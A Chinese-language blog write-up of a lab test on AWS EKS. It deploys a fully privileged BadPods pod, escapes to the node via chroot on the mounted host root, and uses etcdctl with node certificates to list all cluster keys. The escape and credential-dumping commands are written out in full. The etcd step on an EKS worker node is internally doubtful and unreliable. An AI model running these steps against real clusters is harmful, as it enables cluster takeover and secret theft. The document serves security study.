BadPods 实战：在 AWS EKS 上投放一枚“全权限”炸弹会怎样

幻泉之洲

2026年5月25日 15:46
北京

在小说阅读器读本章

去阅读

Kubernetes 的默认配置能有多脆弱？我在 EKS 上模拟了一次“全权限” Pod 攻击。从容器逃逸到宿主机，再到横向平移接管整个集群，最后直取 AWS 云端管理权限。这不是理论推演，而是真实环境下一穿到底的踩坑实录。

写在前面：为什么要搞这个测试

最近在死磕 Kubernetes，从 Pod、ReplicaSet 一直啃到调度器，但最上头的还是安全这块。我一直想动手测测 K8s 环境里那些最常见的攻击路径，并记录下来。刚开始列提纲的时候发现水太深了，一个点就能扯出一大片，必须得讲点策略。

Kubernetes 虽然给了很细粒度的 Pod 安全控制，但很多细微的配置失误往往就是致命的。我打算写一个“假设已失陷”的系列：假设攻击者已经拿到了 Pod 里的 RCE 权限，基于这个 Pod 的不同配置，看能对整个系统造成多大的冲击。为了方便测试，我用了 BishopFox 开源的项目 BadPods[1]，它能快速部署一堆配置有问题的 Pod。

这第一篇文，就从最极端的开始：Bad Pod #1：全权限（Everything Allowed）。就是把所有危险的开关全部拉满，看看会发生什么。

靶场环境

先交代一下实验环境：云平台选了 AWS EKS，Kubernetes 版本 1.34，跑了两台 c7i-flex.large 的 Worker 节点。操作系统是 Amazon Linux 2023，也就是 EKS 现在默认的 AMI。集群的 Pod 安全准入（PSA）策略直接用了默认值。

为了让实验能随时复现，我还专门写了个自动化脚本 easy-k8s-deploy，通过 Github Actions 就能把集群部署起来（适用于 AWS/Azure/GCP 的试用账号）。

拆解那个危险的 YAML

我部署的 Pod 长下面这样。在看攻击效果之前，得先弄明白这几行配置到底意味着什么。

everything-allowed-exec-pod.yaml

apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ \"/bin/sh\", \"-c\", \"--\" ]
args: [ \"while true; do sleep 30; done;\" ]
volumes:
- name: noderoot
hostPath:
path: /

这几个参数，每一个都是捅向隔离边界的一刀：

privileged: true：容器直接拿到所有内核能力，原来限制它的安全屏障基本全卸了。
hostPath /：把宿主机的根目录挂载进容器里的 /host，相当于直接把家底全亮给容器看。
hostNetwork: true：让 Pod 直接使用宿主机的网络，包括能直接访问那条要命的元数据服务端点（169.254.169.254）。
hostPID / hostIPC: true：允许 Pod 看到并操作宿主机上的所有进程和跨进程通信。

说白了，这几个配置叠在一起，Kubernetes 里所谓的容器隔离，基本上就是纸糊的墙。

威胁模型

第一步：撕开容器，逃逸到宿主机

我们的起点是假设攻击者已经通过某种手段（比如命令注入或反弹 Shell）拿下了 Pod 里的 Shell 权限。由于前面那些危险的配置，从 Pod 里出来简直不费吹灰之力。

先看下当前环境，确认我们在 Ubuntu 容器里：

kubectl exec -it everything-allowed-exec-pod -- /bin/bash
root@ip-172-31-80-238:/# whoami
root
root@ip-172-31-80-238:/# hostname
ip-172-31-80-238.ec2.internal
root@ip-172-31-80-238:/# cat /etc/os-release
PRETTY\_NAME=\"Ubuntu 24.04.3 LTS\"

接着，因为宿主机的根目录就挂载在 /host 下，加上 privileged 权限，一个简单的 chroot 就出去了：

chroot /host /bin/bash
[root@ip-172-31-80-238 /]# whoami
root
[root@ip-172-31-80-238 /]# cat /etc/os-release
NAME=\"Amazon Linux\"

操作系统从 Ubuntu 秒变 Amazon Linux 2023。再看看 /var/lib/kubelet 这种容器里永远不该触及的目录，现在触手可及。这一下，等于通过 root 权限接管了整个宿主机。

你可能会注意到主机名没变，那是因为 Pod 开启了 hostNetwork，一早就共享了宿主机的网络名空间。但操作系统的切换、文件系统的变化、以及对 Kubelet 目录的访问，铁证如山：容器边界完全崩溃了。

第二步：从单点沦陷到集群失守

既然进了节点，光占个宿主机肯定不够，得试试在集群里横着走。

先部署一个“受害者” Pod 当作靶子。这时候 Pod 里的 hostPID 就派上大用场了，我能直接翻到宿主机进程里的东西。最关键的是找到了 kubelet 的配置文件和静态 Pod 的路径，里面往往藏着签发证书的私钥或者直接连到 Etcd 的凭证。

接着翻 /etc/kubernetes/。如果能找到 Etcd 的客户端证书，就能直捣集群的“数据库”。

ls /etc/kubernetes/pki/etcd/
ca.crt healthcheck-client.crt peer.crt server.crt

环境里可能路径不一样，但目的是找到类似 ca.crt, client.crt, client.key 的文件

拿到证书后，直接在受控的节点上用 etcdctl 去查集群里的敏感信息：

etcdctl --endpoints=https://127.0.0.1:2379 \
--cacert /etc/kubernetes/pki/etcd/ca.crt \
--cert /etc/kubernetes/pki/etcd/server.crt \
--key /etc/kubernetes/pki/etcd/server.key \
get / --prefix --keys-only

此时，查看集群里有哪些命名空间、哪些服务、甚至捞取 ServiceAccount 的 Token，就是敲几行命令的事。横向平移的通道彻底打通。